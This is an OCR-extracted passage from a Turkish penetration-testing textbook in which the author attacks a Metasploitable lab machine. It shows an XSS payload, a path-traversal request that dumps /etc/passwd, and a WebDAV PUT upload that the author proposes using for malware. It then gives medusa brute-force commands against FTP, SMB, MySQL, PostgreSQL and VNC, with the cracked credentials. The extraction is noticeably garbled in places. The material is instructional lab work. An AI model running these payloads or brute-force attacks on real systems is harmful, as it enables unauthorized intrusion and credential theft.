dedigimizde ilgili sayfa acilacak ve 6rnegi gorecegiz. Asagidaki ornegi
inceledigimizde karsimizda bir java kodunun “1” seklinde bir uyari mesaji
Urettigini goriyoruz.



) Nessus Home / Scans "[’) Connecting... x\i- |

(€ @ 10.10.56.2/mutillidae/index php?username=ZAP&page=user-info.php&user-info-php-su ¥ X||Q Search ‘ wBa & @ ‘ =
S’

[ Most Visited v il Offensive Security N Kali Linux W\ Kali Docs % Kali Tools nExploi‘t-DB W Aircrack-ng

“OK” tusuna basip ayni 6rnegi biz de tekrar edelim ve ne oldugunu daha
yakindan gorelim. Formda “Name” kismina “<script>alert(1);</script>" girip
“Password” kismina istedigimiz bir sifre yazalim.

| View your details

% Back

Please enter username and password
to view account details

Name !<script>alert(1),'</script> }
Password [o . ]
| View Account Details |

Dont have an account? Please register here



Yukaridaki ekranda “View Account Details” digmesine tikladigimizda yine
ayni “1” uyarisini gérecegiz.



Path traversal:

Bu teknikle isletim sistemi izerindeki dosyalara erisilmeye ¢alisilir. Yine ilgili
uyarinin tzerine sag tiklayip “Open URL in browser” diyoruz. Acilan ekran
orneginde Linux isletim sistemlerinde bulunan “/etc/passwd” dosyasina erisim
saglandigini goriyoruz. Bu hata daha sonra kotu niyetli birinin hangi kullanicilari

hedefleyecegi konusunda bilgi veriyor.

) Nessus Home /Scans % /| § http://10...%2Fpasswd X | #
10.10.56.2/mutillidae/index.php?page=%2Fet Fpasswd v C||Q Search B 3 #

[ Most Visited ¥ “Offensive Security \Kali Linux '\\Kali Docs ~\\Kali Tools nExploit—DB \Aircrack—ng

@;@ Mutillidae: Born to be Hacked

Hints: Disabled (0 - | try harder)
Toggle Security Reset DB View Log View Captured Data

Not Logged In

Version: 2.1.19 Security Level: 0 (Hosed)

Home Login/Register Toggle Hints

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
OWASP Top 10 sys:x:3:3:sys:/dev./bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:
/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:p:/var/spool/lpd:/bin/sh

O‘hers mail:x:8:8:mail:var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var
Documemahon /spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var
Mww:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var

flist:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home
/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool

Resoux ces

P /postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL
administrator,,,:/var/lib/postgresgl:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:
Site /bin/false tomcat55:x:110:65534::/usr/share/ftomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false
hacked...err...quality- user:x:1001:1001 just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:
tested with Samurai /bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:
WTF, Backtrack, /bin/false statd:x:114:65534::/var/lib/nfs:/bin/false snmp:x:115:65534::/var/lib/snmp:/bin/false
Firefox, Burp-Suite, test:x:1003:1003:,,,:/home/test:/bin/bash

Netcat, and these
Mozilla Add-ons

w3af??

w3af yazilimi da web sitesi taramalarinda kullanabilecegimiz araclardan
birisi. Tam adi “Web Application Attack and Audit Framework” yani Tlirkceye
“Web Uygulamasi Saldiri ve Denetleme Yapisi” seklinde cevrilebilir. w3af, Kali

22 http://w3af.org



2.0 Uzerinde kurulu geliyor ama bazi kitliphaneleri eksik oldugundan tarama
basarili bir sekilde ¢alismiyor. Bundan dolayi ag ayarini tekrar NAT yapip github
kaynagindan w3af paketini indiriyoruz. Bunun icin yazacagimiz komut
asagidadir:

git clone --depth 1 https://github.com/andresriancho/w3af.git

Komut basarili olarak calisinca bulundugumuz dizinde w3af dosyasini
gormemiz gerekiyor. w3af dizinine girip w3af_gui programini galistiriyoruz.
Aldigimiz hatalar bize eksik olan kiitiiphaneleri sdyleyecektir.

root@kali: ~/w 3af e 0 0

File Edit View Search Terminal Help

:~/w3af# ./w3af_gui
An old pip version was detected. We recommend a pip update before cont
inuing:
sudo pip install --upgrade pip

:~/w3af# |

Ciktinin yonlendirmesine gore asagidaki komutu calistiriyoruz:

pip install --upgrade pip

“Successfully installed pip” yazisini gormemiz gerekiyor. Simdi w3af_gui

dosyasini tekrar calistiralim.

i~/w3aft# ./w3af _gui
Your python installation needs the following modules to run w3af:
pyclamd github nltk chardet concurrent.futures pyasnl 1xml scapy.config markdown psu
til xdot

After installing any missing operating system packages, use pip to install the remaining
modules:

sudo pip install pyClamd==0.3.15 PyGithub==1.21.0 nltk==3.0.1 chardet==2.1.1 futures
==2.1.5 pyasnl==0.1.8 1xml==3.4.4 scapy-real==2.2.0-dev markdown==2.6.1 psutil==2.2.1 xd

A script with these commands has been created for you at /tmp/w3af_dependency install.sh
:~/w3af# ||

Simdi de /tmp dizininde bulunan gereklilikleri indirme scriptini calistirmamizi
istiyor. Bu scripti calistirinca da derleme kitliphanelerinden bazilarinin eksik


https://github.com/andresriancho/w3af.git

oldugu uyarisini aliyoruz. Eksik kitiphaneyi kurmak icin kullandigimiz komut
“apt-get install libxslt1-dev”. Bu komutu ¢alistirdiktan sonra gereklilikleri

indirme scriptini tekrar calistiriyoruz.

i~/w3af# /tmp/w3af_dependency install.sh
Collecting pyClamd==0.3.15
Downloading pyClamd-0.3.15.tar.gz
Collecting PyGithub==1.21.0
Downloading PyGithub-1.21.0.tar.gz (2.3MB)
100% | I | 2 siB 212kB/s
Collecting nltk==3.0.1
Downloading nltk-3.0.1.tar.gz (961kB)
100% | I | oG2kB 411kB/s
Collecting chardet==2.1.1
Downloading chardet-2.1.1.tar.gz (178kB)
100% | I | 1c0kB 787kB/s
Collecting futures==2.1.5
Downloading futures-2.1.5-py2.py3-none-any.whl
Collecting pyasnl==0.1.8
Downloading pyasnl-0.1.8.tar.gz (75kB)
100% | I | 77<B 947kB/s
Collecting 1xml==3.4.4
Downloading 1xml-3.4.4.tar.gz (3.5MB)
s4%s | I | 3.6MB 1.1MB/s eta 0:00:01

Boylelikle w3af aracinin basarili bir sekilde ¢alismasi icin gerekli olan
kurulumlari tamamladik. Gereklilikler basaril bir sekilde kurulduktan sonra
w3af tarama aracini, github’dan indirdigimiz dosya icerisinde ./w3af _gui
yazarak calistirabiliriz ya da Kali Gizerinde kurulu olan versiyonu da
calistirabiliriz. Gereklilikler kuruldugu icin her ikisi de basarili bir sekilde
calisacaktir. Biz Kali’de kurulu olan w3af’i calistirmak icin Terminal’den
“w3af_gui” yaziyoruz. Once karsimiza bir uyari gelebilir, bunu OK ile gegiyoruz.

Sonrasinda asagidaki sekilde bir ekran geliyor:



w3af = Web Application Attack and Audit Framework e e 0

Profiles Edit Vi Tools Configuration Help

9| o e B 6 O & =<
Scan config | Log | Results  Exploit

Profiles Target: ihttp://target.example/ 15
OWASP_TOP10 > audit

audit_high_risk > auth

bruteforce 4 bruteforce

fast_scan > crawl

full_audit > evasion

full_audit_spider_man > grep

sitemap > infrastructure

web_infrastructure > mangle

Active Plugin This is an empty profile that you can use
to start a new configuration from.
>l  output

Bizim bu calismada kullanacagimiz test “OWASP_TOP10”. OWASP_TOP10,
OWASP? tarafindan belirlenen en dnemli 10 aciklik. OWASP_TOP10’u sectikten
sonra “Target” kismina http://10.10.56.2 Metasploitable IP’sini yaziyoruz. En
son “Start” diigmesine basarak taramayi baslatiyoruz.

2 https://www.owasp.org


http://10.10.56.2/

w3af - Web Application Attack and Audit Framework e ® 0

Profiles Edit Vi Tools Configuration Help
¥ op 0o B B s 0 a =
Scan config ] | Results | Exploit
Profiles Target: I’http://10.10.56.2 I ’ I 2 Startll =)
empty _profile Active Plugin
OWASP_TOP10 > W audit
audit_high_risk > auth
bruteforce > bruteforce
fast_scan >Hl  crawl
full_audit > evasion
full_audit_spider_man (| grep
sitemap | infrastructure
web_infrastructure > mangle
The Open Web Application Security Project (OWASP) is a
worldwide free and open community focused on improving
the security of application software. OWASP searched for
Active Plugin and published the ten most common security flaws. This
(| output profile search for this top 10 security flaws. For more

information about the security flaws: http://www.owasp.org/
index.php/OWASP _Top_Ten_Project .

Biraz uzun sliren bir taramanin ardindan sonugclari goriyoruz. Asagida
goruldugl Gzere bircok detay geliyor. Bu noktada dikkat etmemiz gereken, bu
sonuglarin hepsinin dogru olmamasi. Sonuglari test ettigimizde “false positive”
(hatali pozitif) sonuclarla karsilasmamiz w3af icin oldukga yiksek bir olasilik.
Buna ragmen haksizlik etmeyip w3af’in bircok yararli sonug listeledigini de
belirtmek gerek.
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Profiles Tools Configuration Help
¥ D0 oa [ 6 0 & =
Scan config Log | Results | Exploit

KB Browser | URLs Request/Response navigator

[ Vulnerability & Information Summary | Description
Knowledge Base Directory listing with HTTP PROPFIND method was found at directory: “http://10.10.56.2/dav/". This vulnerability was found in the request with id
> server_header (| [351.

> allowed_methods (
>
\2 php-eggs ( Request | Response
It SIror-pages ( Raw | Headers
N Eo R ('] | PROPFIND http://10.16.56.2/dav/ HTTP/1.1
> dav ( Content-length: 107
Accept-encoding: gzip, deflate
7 userdir (4 Host: 10.16.56.2
> halberd ( Accept: */*
User-agent: w3af.org
> fingerprint_os ( Depth: 1
» Cookie: PHPSESSID=3843057b72b4f4ea%9e0352cd53325c7¢c
Content-type: application/xml; charset="utf-8"
L strange_parameters (
5 <?xml version='1.0'7?>
<a:propfind xmlns:a='DAV:'>
> hmap ( <a:prop>
5 <a:displayname:/>
</a:prop>
> blank_body ( : L
> html_comments ( | |B | (|10 WI
(i) (o [ |G|

M ~oa A cn n

Simdi bazi sonuglari inceleyelim ve bunlardan nasil faydalanabilecegimize
bakalim. Kirmizi renkli sonucglarda daha yuksek seviyede aciklik oldugu icin bu
sonuglardan baslamakta fayda var.

DAV:

“File upload with HTTP PUT method was found at resource:
"http://10.10.56.2/dav/". A test file was uploaded to:
"http://10.10.56.2/dav/jBusF". This vulnerability was found in the requests
with ids 349 and 372.”

Burada anlatilan WebDav ayarlarinin glivenli olmadigi ve uzaktan “put”
metoduyla dosya eklemesi yapilabildigi.
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Scan config Log | Results | Exploit

>

>

>

>

>

Knowledge Base

server_header (2)
allowed_methods (1)
php-eggs (2)
error_pages (2)
phpinfo (1)
dav (1)
dav (14)

@&A Insecure DAV configuration

| % ) Publicly writable directory

<& A Insecure DAV configuration
%@ Publicly writable directory
& A Insecure DAV configuration
5@ Publicly writable directory
& A Insecure DAV configuration
£ Publicly writable directory
& A Insecure DAV configuration
&% A Insecure DAV configuration
£ Publicly writable directory
i< Publicly writable directory
& A Insecure DAV configuration
£ Publicly writable directory
user_dir (1)
halberd (1)

. Tools Configuration Help
a0 0 a 0 o

e B %

KB Browser | URLs Request/Response navigator

& Vulnerability & Information

0O & =

| Summary | Description

File upload with HTTP PUT method was found at resource: "http://10.10.56.2/dav/". A test file was uploaded to:
|'http://10.10.56.2/dav/jBusF". This vulnerability was found in the requests with ids 349 and 372,

| Id: 349
Request | Response
Raw | Headers

PUT http://10.10.56.2/dav/jBusF HTTP/1.1
Content-length: 6
Accept-encoding: gzip, deflate

Accept: */*

User-agent: w3af.org

Host: 10.10.56.2

Cookie: PHPSESSID=3843057b72b4f4ea9e0352cd53325c7¢

Content-type: text/plain

2HLOGU

/@0 “

Yukarida gonderilen 6rnek http detayini goriyoruz. Buradaki icerige gore

“iBusF” adinda bir dosya, /dav dizini altinda olusmus olmali. http://10.10.56.2/dav/

adresine gidip ilgili dosyanin olup olmadigina bakalim.




Index of /dav » L

I 0.10.50 2/

Most Visited ¥ IilOﬂ‘ensi'ure Security "F\,I{ali Linux "F\,Kali Docs "F\,I{ali Tools

Index of /dav

Name Last modified Size Description

¥ Parent Directory -
@ EENQg] 04-Jan-2016 11:53 s}
GoUAQDRT.htm/ 05-Jan-2016 07:22 -
K7hptUli.htm/ 05.Jan-2016 07:22

@ KnkFdoO 05Jan-2016 02:08 6
@ SEWXy 04-Jan-2016 11:58 6
5] V2orgPSc.htm/ 05Jan-2016 07:23 -
05{Jan-2016 07:21 6
04-Jan-2016 08:06 6

nswilZRYp.htm/ 05]Jan-2016 07.22
skLKNMDZ.htm/ 05Jan-2016 07:23 -
woVoFxnC.htm/ 05;Jan-2016 07:23 -

Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.10.56.2 Port 80

Yukarida gorildigu tzere dosya atmayi basarmis. Biz de bu agikhgi
kullanarak zararli yazilimlari buraya ekleyip daha sonra ¢alistirma denemeleri
yapabiliriz. Diger detaylara baktiginizda benzer sonuglari daha 6nce
inceledigimiz programlarda da verdigini goreceksiniz. Burada dikkat etmemiz
gereken konu farkl programlarin farkh sonuglar verecegi ve farkli sonuglari
degerlendirerek daha fazla acik yakalamaya calismamiz gerektigidir.



OzET

Bu bolimde web zafiyet taramasini ve taramayla ilgili kullanabilecegimiz
yazilimlan goérduk. Bu yazilimlar birbirlerine benzer sekilde galisiyorlar ama sizin
de gordiginiiz gibi her yazilim farkli sonuclar Gretiyor; birinin bulamadigi
acikhigi digeri bulabiliyor. Bundan dolayi farkli yazilimlari kullanmakta ve

olabildigince fazla aciklik bulmakta fayda var.

Biz web taramalari konusuna sadece bir giris yaptik. Bu alan, kendine 6zgd,
uygulama mantigina kadar incelemeyi gerektiren yontemler iceriyor. Kitapta
bunlardan sadece birkagina deginip gececegiz. Fakat siz bu konuda kendinizi
gelistirmek isterseniz “The Web Application Hacker’s Handbook - 2" Edition” iyi
bir baslangic olabilir. Bu kitapla beraber “Burp suite?*” yazilimini da kullanmaniz
gerekebilir. Burp suite basaril bir uygulama olmasina ragmen tam olarak

faydalanmak icin lisans satin almaniz gerekir.

Bu bolimde inceledigimiz araclari tekrar 6zetlersek:
- Nikto

- Nessus

- OWASP ZAP

- w3af

2 http://portswigger.net/burp/



ALTINCI BOLUM

SIZMA

Sizma nedir?

Sizma boéliminde artik elimizde olan bilgileri kullanarak sistemleri ele
gecirmeye calisacagiz. Bu boliimde sifre kirma, network trafigini dinleme,
zafiyetlerden yararlanarak bilgisayar ele gecirme gibi calismalarimiz olacak.

ilk olarak sifre kirma ydntemleriyle ise koyuluyoruz.

Sifre kirma

Sifre kirma, sizma testlerinde ilk basta denenmesi gereken yontemlerden
birisi. Sifresini ele gecirdiginiz kullanici Gzerinden ilgili kullanicinin yetkisiyle
bircok calisma yapabilirsiniz. Ayrica sifre ele gecirme denemelerinde Bilgi
Teknolojileri ve diger departmanlarda galisanlarin ne kadar basit ve kotu sifreler

kullandigini gorince sasirabilirsiniz.

Bu bolimde, simdiye kadar 6grendigimiz sizma testi adimlarini kullanacagiz.
Bunun icin yine Metasploitable isletim sistemimizi hedef olarak belirleyecegiz.

Adimlarimiz asagidaki sekilde olacak:
1. Kesif:

Bu asamay! yapmayacagiz. Zira karsimizda bir sirket yok. Haliyle sirketle ilgili
toplayacagimiz bir bilgi de yok. Saldiracagimiz hedef tek IP ve belli. Ayrica
Metasploitable ana sayfasinda kullanici adi ve sifre paylasiimis. Biz kullanici
adini ve sifreleri paylasilmamis farz ederek ilerleyecegiz.



2. Zafiyet taramasi:

2 tip zafiyet taramamiz var: Ag lzerinden zafiyet taramasi ve web zafiyet
taramasi. Bu taramalarda elde ettigimiz kullanici bilgilerini sifre kirma igin

kullanacagiz.
3. Ele gegirme:

Bu adimda sadece sifre kirmayla ilerleyecegiz.

Medusa?®

Medusa, network lizerinden degisik servislere sifre kirma denemesi
yapabilecegimiz bir yazilim. internet tizerinden yardim dosyalarina ulasmak icin
http://foofus.net/goons/imk/medusa/medusa.html adresini kullanabilirsiniz.

Onceki baslikta anlattigimiz adimlarla baslayabiliriz:

1. Kesif:

Eger hedefimiz bir sirket olsaydi, bu adimda miimkiin oldugunca fazla ¢alisan
adi ve kullanici adi toplayarak sifre kirmada kullanabilirdik. Bu adimi atliyoruz.

2. Zafiyet Taramasi:

Bu bdliimde, daha 6nceki bolimlerde yaptigimiz taramalari tekrar
hatirlayacagiz. isterseniz siz tekrar tarama yapabilirsiniz. Ben burada hangi
taramay!i yaptigimizi ve hangi detaylari buldugumuzu listeleyecegim. Bu bilgileri
kullanarak yapacagimiz sifre kirma saldirisiyla ilgili hedefleri belirleyecegiz.

25 http://foofus.net/goons/jmk/medusa/medusa.html
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ilk 8nce nmap taramasi sonuglarina bakalim. Buradaki -sV parametresi hangi
portta hangi servisin ¢alistigini tespit etmemizi sagliyor. Amacimiz hangi
servisleri sifre kirma saldirisinda kullanabilecegimizi tespit etmek.

# nmap -sV 10.10.56.2

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-05
15:31 EST

mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using —--system-dns or specify valid
servers with --dns-servers

Nmap scan report for 10.10.56.2
Host is up (0.00018s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul

(protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu)
DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup:
WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup:
WORKGROUP)

512/tcp open exec netkit-rsh rexecd




513/tcp open login?
514/tcp open shell Netkit rshd

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524 /tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)

2121 /tcp open ftp ProFTPD 1.3.1

3306/tcp open mysqgl MySQL 5.0.51la-3ubuntub

5432/tcp open postgresgl PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine
1.1

MAC Address: 08:00:27:7D:5B:C3 (Cadmus Computer Systems)

Service Info: Hosts: metasploitable.localdomain, localhost,
irc.Metasploitable.LAN; OSs: Unix, Linux; CPE:
cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect
results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 20.39
secondsl10.10.56.210.10.56.2

Yukarida goérdigiiniz Gzere birgok hizmet degisik portlarda ¢alisiyor. Bizim
ilk etapta hedef olarak belirleyebilecegimiz hizmetler asagida yer aliyor:

- Port 21 FTP
- Port 22 SSH

- Port 23 Telnet



- Port 139,445 smbnt

- Port 2121 ProFTPD

- Port 3306 MySQL

- Port 5432 PostgreSQL

- Port 5900 VNC

Sonra Nessus tarama sonuglarini inceleyelim:
- “Apache Tomcat Manager Common Administrative Credentials”

Hatirlarsaniz daha 6nce “tomcat” kullanici adini yakalamistik. Dahasi sifre de
tomcat idi. Demek ki kullanicilarimizdan birisi “tomcat”.

“VNC Server ‘password’ Password”

Nessus burada VNC sunucusunun sifresinin “password” oldugunu zaten
yakalamis.

Nessus web zafiyet taramasinda, ag taramasi lizerine ek bir kullanici bilgisi
gelmedigi icin geciyoruz.

OWASP-ZAP taramasi sonuclarinda en 6nemlilerden birisi “Path Traversal”
idi. Asagida da goreceginiz Uzere “/etc/passwd” dosyasina bu sekilde erisim
saglanmis durumda.



Untitled Session - OWASP ZAP

Eile Edit view Analyse Report Tools Online Help

Standard mode ¥

EdmD @ B A0 OEm Y =« 2 ¥ E 4 =@ e

@ Sites Scripts I [ % Quick Start T-—'- Request | Responses | | Break ] Script Console ]
> @ M sSites Text |m ] :
<!-- Begin Content --= ]

root:x:0:0: root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /bin/sh
bin:x:2:2:bin:/bin: /bin/sh
sys:x:3:3:sys:/dev:/bin/sh
syncix:4:65534:sync:/bin: /bin/syne
games :x:5:60:games: fusr/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bin/sh

lp:x:7:7:1p: svar/spool/lpd: /bin/sh
mail:x:8:8:mail:/var/mail: /bin/sh
news:x:9:9:news: /var/spool/news: /bin/sh
uuep:x:10:10:uuep: /var/spoolsuucp: sbin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-datazx:33: 33 www-data: /var fwww: /hin/sh

Biz de bu gelen icerikten kullanicilari alalim. Ozellikle “root” kullanicisi eger

aciksa Linux sistemleri icin cok 6nemli. Asagida dosyanin tam igerigini

goruyorsunuz. “root” kullanici adindan ve “x” harfinden sonra gelen ilk sifir

kullanici numarasi, ikinci sifir grup numarasini veriyor. Kullanici adi “root”

yazmayip baska bir sey yazar ve ID “0” ise o kullanici root yetkisindedir ve her

seyi yapabilecek bir kullanicidir.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp: /bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh




www—data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh

gnats:x:41:41:Gnats Bug-Reporting System
(admin) : /var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,, : /home/msfadmin: /bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false

postgres:x:108:117:PostgreSQL
administrator,,, :/var/lib/postgresqgl: /bin/bash

mysqgl:x:109:118:MySQL Server,,, :/var/lib/mysqgl:/bin/false
tomcat55:x:110:65534:: /usr/share/tomcat5.5:/bin/false
distcecd:x:111:65534::/:/bin/false

user:x:1001:1001:just a user,111,, :/home/user:/bin/bash
service:x:1002:1002:,,, :/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

snmp:x:115:65534::/var/lib/snmp:/bin/false




Listemize ekleyebilecegimiz diger kullanicilar sistemin standart kullanicilari
haricindekilerdir. Bunlar 1000 ve (izeri numara aliyor. Bu sekilde baktigimizda
asagidaki 3 kullaniciya eristik ve ayrica root kullanicisini da ekliyoruz.

- root
- msfadmin
- user

- service

Ek Bilgi:

Eger tarayacagimiz servislerle ilgili internette “default user password” seklinde
hizmet adini yazarak arama yapip, buldugumuz kullanici adlarini da eklersek sifre
kirmada ¢ok faydali olabilir.

III

Ben detay olarak “postegresql” standart kullanicisini bulup ekledim.

“postgres”

Son olarak “tomcat” kullanicisinin sistemde bir kullanici olmadigini ve
sadece tomcat web sunucusunda c¢alisacagini anlamis olduk ¢linkii bu kullanici
passwd dosyasinda yer almiyor. Elimizde deneme yapmak igin yeterli kullanici
ve servis olduguna gore artik sifre kirma adimina gecebiliriz.

Ozet olarak deneme yapacagimiz servisler; ftp, ssh, telnet, smbnt, proftpd,
mysql, postegresql, vnc; kullanicilar ise root, msfadmin, user, service olacak.

3. Ele Gegirme:

Medusa’yi kullanmadan 6nce ilk adimda bir kullanici listesi dosyasi
olusturacagiz. “Vim” ile buldugum kullanici adlarini “users.txt” dosyasi



olusturup icine atiyorum. Diger servislerde ¢ok kullanilan bir kullanici
olabilecegi icin “admin” kullanicisini (listede ¢cikmasa bile) ekliyorum.

# vim users.txt

Sonra asagidaki sekilde dosyami ve icerigini kontrol ediyorum. Burada dikkat

etmeniz gereken, her satirda bir kullanici olmasi.

# cat users.txt
root

msfadmin
service

user

admin

postgres

Medusa 6rnek komut:

medusa -h IPadresi -U kullanici_listesi -p sifre -e ns -M servis
-h: IP adresi girmek icin gerekli parametre.

-U: Kullanici listesini iceren dosya adini alan parametre.

-u (kaguk harfle u): Kullanici adini alan parametre. (-U veya —u, sadece birini

kullanmaniz gerekli.)
-P: Sifreleri iceren dosya adini alan parametre.

-p (ktclik harfle p): Sifreyi yazdigimiz parametre. (-P veya —p, sadece birini

kullanmaniz gerekli.)

-e ns: Bu parametreyle bos sifre denemesi ve kullanici adini sifre olarak

deneme seceneklerini ekliyoruz.

-M: Servis adini alan parametre.



Medusa’nin destekledigi servis listesi icin “# medusa -d” yazabilirsiniz.

:~# medusa -d
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

Available modules in "."

Available modules in "/usr/lib/medusa/modules”
+ cvs.mod : Brute force module for CVS sessions : version 2.0
ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
http.mod : Brute force module for HTTP : version 2.0
imap.mod : Brute force module for IMAP sessions : version 2.0
mssql.mod : Brute force module for M$-SQL sessions : version 2.0
mysql.mod : Brute force module for MySQL sessions : version 2.0
nntp.mod : Brute force module for NNTP sessions : version 2.0
pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
pop3.mod : Brute force module for POP3 sessions : version 2.0
postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
rexec.mod : Brute force module for REXEC sessions : version 2.0
rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
rsh.mod : Brute force module for RSH sessions : version 2.0
smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.0
smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 2.0
smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
snmp.mod : Brute force module for SNMP Community Strings : version 2.1
ssh.mod : Brute force module for SSH v2 sessions : version 2.0
svn.mod : Brute force module for Subversion sessions : version 2.0
telnet.mod : Brute force module for telnet sessions : version 2.0
vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
vnc.mod : Brute force module for VNC sessions : version 2.1
web-form.mod : Brute force module for web forms : version 2.1
wrapper.mod : Generic Wrapper Module : version 2.0

+++++++ A+ A+

Simdi siradan servisleri mevcut kullanicilarla gegmeyi deneyelim. Su anda
deneme olarak sadece “password” sifresi, kullanicinin kendi adi ve bos sifre
gonderilecek. Ftp ile denememize basliyoruz. Komut érnegimiz ve sonucu
asagida goruluyor:

# medusa -h 10.10.56.210.10.56.2 -U users.txt -p password -e
ns -M ftp

omplete)
omplete) | Pe




Gordugunlz Gzere FTP Uzerinden msfadmin, service, user ve postgres
kullanicilarinin sifrelerini kirdik. Normalde pek tabii bu is o kadar kolay degil;
sadece Metasploitable’da en basit sifre standartlarina uyulmadigi icin sifreleri
kolaylikla ele gecirdik. Bundan sonra diger servisleri de deneyerek hangi
kullanicilara erisim sagladigimizi listeleyelim. Bu denemeleri siz de

yapabileceginiz icin sadece 6zet sonuglari verecegim:

# medusa -h 10.10.56.210.10.56.2 -U users.txt -p password -e
ns -M ftp

User: msfadmin Password: msfadmin [SUCCESS]
User: service Password: service [SUCCESS]
User: user Password: user [SUCCESS]

postgres Password: postgres [SUCCESS]

Telnet denemesi basarili sonug Gretmedi:

medusa -h 10.10.56.210.10.56.2 -U users.txt -p password -e ns
-M telnet

ERROR: [telnet.mod] Failed to identify logon prompt.

Windows SMB dosya paylasim hizmeti:

medusa -h 10.10.56.210.10.56.2 -U users.txt -p password -e ns
-M smbnt

User: msfadmin Password: msfadmin [SUCCESS]

User: user Password: user [SUCCESS]

ProFTPD taramasinda standart ftp 21 portu kullanilmadigi igin “-n 2121” ile

tarayacagi port numarasini da belirtiyoruz:



medusa -h 10.10.56.210.10.56.2 -U users.txt -p password -e ns
-M ftp -n 2121

User: msfadmin Password: msfadmin [SUCCESS]
User: service Password: service [SUCCESS]
User: user Password: user [SUCCESS]

User: postgres Password: postgres [SUCCESS]

MySQL taramasi:

medusa -h 10.10.56.210.10.56.2 -U users.txt -p password -e ns
-M mysqgl

User: root Password: [SUCCESS]

PostegreSQL taramasi:

medusa -h 10.10.56.2 -U users.txt -p password -e ns -M
postgres

User: postgres Password: postgres [SUCCESS]

VNC taramasinda Metasploitable’daki VNC sunucusu, kullanici parametresi
kabul etmedigi icin bitln kullanicilarda sifrenin “password” olarak gectigini
gosterdi.

medusa -h 10.10.56.2 -U users.txt -p password -e ns -M vnc

Gordugunliz Gzere butin servislere erisim sagladik. Simdi birkac servis icin
dogrulamasini yapalim.



SSH:

